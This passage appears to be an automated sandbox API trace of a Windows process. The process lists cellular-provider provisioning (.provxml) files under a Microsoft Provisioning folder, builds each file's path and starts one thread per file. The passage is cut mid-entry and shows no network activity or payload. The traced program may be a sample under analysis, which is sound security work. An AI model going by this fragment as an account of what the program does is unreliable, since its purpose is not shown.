0x2fe2dc8 [0179.280] wcscpy (in: _Dest=0x2fe2dc8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0179.280] wcscat (in: _Dest=0x2fe2dc8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0179.280] wcscat (in: _Dest=0x2fe2dc8, _Source="305__Connections_Cellular_Claro (Nicaragua)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\305__Connections_Cellular_Claro (Nicaragua)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\305__Connections_Cellular_Claro (Nicaragua)_i0$(__MVID)@WAP.provxml" [0179.280] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fe2dc8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x674 [0179.281] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90b5f2b1, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90b5f2b1, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90b5f2b1, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x311, dwReserved0=0x0, dwReserved1=0x0, cFileName="306__Connections_Cellular_Claro (Nicaragua)_i1$(__MVID)@WAP.provxml", cAlternateFileName="306__C~1.PRO")) returned 1 [0179.281] wcscmp (_String1="306__Connections_Cellular_Claro (Nicaragua)_i1$(__MVID)@WAP.provxml", _String2=".") returned 1 [0179.281] wcscmp (_String1="306__Connections_Cellular_Claro (Nicaragua)_i1$(__MVID)@WAP.provxml", _String2="..") returned 1 [0179.281] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x144) returned 0x2fe1190 [0179.281] wcscpy (in: _Dest=0x2fe1190, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0179.281] wcscat (in: _Dest=0x2fe1190, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0179.281] wcscat (in: _Dest=0x2fe1190, _Source="306__Connections_Cellular_Claro (Nicaragua)_i1$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\306__Connections_Cellular_Claro (Nicaragua)_i1$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\306__Connections_Cellular_Claro (Nicaragua)_i1$(__MVID)@WAP.provxml" [0179.281] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fe1190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6f4 [0179.282] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90b5f2b1, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90b5f2b1, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90b5f2b1, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x307, dwReserved0=0x0, dwReserved1=0x0, cFileName="307__Connections_Cellular_Claro (Nicaragua)_i0$(__MVID)@WAP.provxml", cAlternateFileName="307__C~1.PRO")) returned 1 [0179.282] wcscmp (_String1="307__Connections_Cellular_Claro (Nicaragua)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0179.282] wcscmp (_String1="307__Connections_Cellular_Claro (Nicaragua)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0179.282] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x144) returned 0x2fe2868 [0179.282] wcscpy (in: _Dest=0x2fe2868, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0179.282] wcscat (in: _Dest=0x2fe2868, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0179.282] wcscat (in: _Dest=0x2fe2868, _Source="307__Connections_Cellular_Claro (Nicaragua)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\307__Connections_Cellular_Claro (Nicaragua)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\307__Connections_Cellular_Claro (Nicaragua)_i0$(__MVID)@WAP.provxml" [0179.282] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fe2868, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x420 [0179.283] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90b5f2b1, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90b5f2b1, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90b5f2b1, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x322, dwReserved0=0x0, dwReserved1=0x0, cFileName="308__Connections_Cellular_Telefonica (Nicaragua)_i0$(__MVID)@WAP.provxml", cAlternateFileName="308__C~1.PRO")) returned 1 [0179.283] wcscmp (_String1="308__Connections_Cellular_Telefonica (Nicaragua)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0179.283] wcscmp (_String1="308__Connections_Cellular_Telefonica (Nicaragua)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0179.283] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x14e) returned 0x2fe12e8 [0179.283] wcscpy (in: _Dest=0x2fe12e8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0179.283] wcscat (in: _Dest=0x2fe12e8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0179.283] wcscat (in: _Dest=0x2fe12e8, _Source="308__Connections_Cellular_Telefonica (Nicaragua)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\308__Connections_Cellular_Telefonica (Nicaragua)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\308__Connections_Cellular_Telefonica (Nicaragua)_i0$(__MVID)@WAP.provxml" [0179.283] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fe12e8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x840 [0179.283] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90b85519, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90b85519, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90b85519, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="309__Connections_Cellular_MTN (Nigeria)_i0$(__MVID)@WAP.provxml", cAlternateFileName="309__C~1.PRO")) returned 1 [0179.284] wcscmp (_String1="309__Connections_Cellular_MTN (Nigeria)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0179.284] wcscmp (_String1="309__Connections_Cellular_MTN (Nigeria)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0179.284] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x13c) returned 0x4f01a20 [0179.284] wcscpy (in: _Dest=0x4f01a20, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0179.284] wcscat (in: _Dest=0x4f01a20, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0179.284] wcscat (in: _Dest=0x4f01a20, _Source="309__Connections_Cellular_MTN (Nigeria)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\309__Connections_Cellular_MTN (Nigeria)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\309__Connections_Cellular_MTN (Nigeria)_i0$(__MVID)@WAP.provxml" [0179.284] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x4f01a20, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x66c [0179.284] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x901af563, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x901af563, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x901af563, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x35b, dwReserved0=0x0, dwReserved1=0x0, cFileName="30__Connections_Cellular_T-Mobile Austria (Austria)_i0$(__MVID)@WAP.provxml", cAlternateFileName="30__CO~1.PRO")) returned 1 [0179.284] wcscmp (_String1="30__Connections_Cellular_T-Mobile Austria (Austria)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0179.284] wcscmp (_String1="30__Connections_Cellular_T-Mobile Austria (Austria)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0179.285] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x154) returned 0x2fa9e60 [0179.285] wcscpy (in: _Dest=0x2fa9e60, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0179.285] wcscat (in: _Dest=0x2fa9e60, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0179.285] wcscat (in: _Dest=0x2fa9e60, _Source="30__Connections_Cellular_T-Mobile Austria (Austria)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\30__Connections_Cellular_T-Mobile Austria (Austria)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\30__Connections_Cellular_T-Mobile Austria (Austria)_i0$(__MVID)@WAP.provxml" [0179.285] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fa9e60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x774 [0179.285] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90b85519, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90b85519, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90b85519, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x28b, dwReserved0=0x0, dwReserved1=0x0, cFileName="310__Connections_Cellular_NetCom (Norway)_i0$(__MVID)@WAP.provxml", cAlternateFileName="310__C~1.PRO")) returned 1 [0179.285] wcscmp (_String1="310__Connections_Cellular_NetCom (Norway)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0179.285] wcscmp (_String1="310__Connections_Cellular_NetCom (Norway)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0179.285] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x140) returned 0x4f02460 [0179.285] wcscpy (in: _Dest=0x4f02460, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0179.285] wcscat (in: _Dest=0x4f02460, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0179.286] wcscat (in: _Dest=0x4f02460, _Source="310__Connections_Cellular_NetCom (Norway)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\310__Connections_Cellular_NetCom (Norway)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\310__Connections_Cellular_NetCom (Norway)_i0$(__MVID)@WAP.provxml" [0179.286] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x4f02460, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6f0 [0179.286] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90b85519, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90b85519, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90b85519, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c9, dwReserved0=0x0, dwReserved1=0x0, cFileName="311__Connections_Cellular_TDC Norway (Norway)_i0$(__MVID)@WAP.provxml", cAlternateFileName="311__C~1.PRO")) returned 1 [0179.286] wcscmp (_String1="311__Connections_Cellular_TDC Norway (Norway)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0179.286] wcscmp (_String1="311__Connections_Cellular_TDC Norway (Norway)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0179.286] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x148) returned 0x2fe1da8 [0179.286] wcscpy (in: _Dest=0x2fe1da8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0179.286] wcscat (in: _Dest=0x2fe1da8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0179.286] wcscat (in: _Dest=0x2fe1da8, _Source="311__Connections_Cellular_TDC Norway (Norway)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\311__Connections_Cellular_TDC Norway (Norway)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\311__Connections_Cellular_TDC Norway (Norway)_i0$(__MVID)@WAP.provxml" [0179.287] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fe1da8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9a4 [0179.287] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90b85519, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90b85519, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90b85519, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x285, dwReserved0=0x0, dwReserved1=0x0, cFileName="312__Connections_Cellular_Telenor (Norway)_i0$(__MVID)@WAP.provxml", cAlternateFileName="312__C~1.PRO")) returned 1 [0179.287] wcscmp (_String1="312__Connections_Cellular_Telenor (Norway)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0179.287] wcscmp (_String1="312__Connections_Cellular_Telenor (Norway)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0179.287] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x142) returned 0x2fe21b0 [0179.287] wcscpy (in: _Dest=0x2fe21b0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0179.287] wcscat (in: _Dest=0x2fe21b0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0179.287] wcscat (in: _Dest=0x2fe21b0, _Source="312__Connections_Cellular_Telenor (Norway)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\312__Connections_Cellular_Telenor (Norway)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\312__Connections_Cellular_Telenor (Norway)_i0$(__MVID)@WAP.provxml" [0179.287] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fe21b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7b4 [0179.288] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90bab788, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90bab788, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90bab788, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="313__Connections_Cellular_Omani Qatari Telecommunications Company SAOC (Oman)_i0$(__MVID)@WAP.provxml", cAlternateFileName="313__C~1.PRO")) returned 1 [0179.288] wcscmp (_String1="313__Connections_Cellular_Omani Qatari Telecommunications Company SAOC (Oman)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0179.288] wcscmp (_String1="313__Connections_Cellular_Omani Qatari Telecommunications Company SAOC (Oman)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0179.288] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x188) returned 0x2fe3370 [0179.288] wcscpy (in: _Dest=0x2fe3370, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0179.288] wcscat (in: _Dest=0x2fe3370, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0179.288] wcscat (in: _Dest=0x2fe3370, _Source="313__Connections_Cellular_Omani Qatari Telecommunications Company SAOC (Oman)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\313__Connections_Cellular_Omani Qatari Telecommunications Company SAOC (Oman)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\313__Connections_Cellular_Omani Qatari Telecommunications Company SAOC (Oman)_i0$(__MVID)@WAP.provxml" [0179.288] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fe3370, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x828 [0179.289] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90bab788, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90bab788, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90bab788, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x29a, dwReserved0=0x0, dwReserved1=0x0, cFileName="314__Connections_Cellular_Mobilink GSM (Pakistan)_i0$(__MVID)@WAP.provxml", cAlternateFileName="314__C~1.PRO")) returned 1 [0179.289] wcscmp (_String1="314__Connections_Cellular_Mobilink GSM (Pakistan)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0179.289] wcscmp (_String1="314__Connections_Cellular_Mobilink GSM (Pakistan)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0179.289] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x150) returned 0x2fe1440 [0179.289] wcscpy (in: _Dest=0x2fe1440, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0179.289] wcscat (in: _Dest=0x2fe1440, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0179.289] wcscat (in: _Dest=0x2fe1440, _Source="314__Connections_Cellular_Mobilink GSM (Pakistan)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\314__Connections_Cellular_Mobilink GSM (Pakistan)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\314__Connections_Cellular_Mobilink GSM (Pakistan)_i0$(__MVID)@WAP.provxml" [0179.289] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fe1440, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x820 [0179.290] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90bab788, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90bab788, 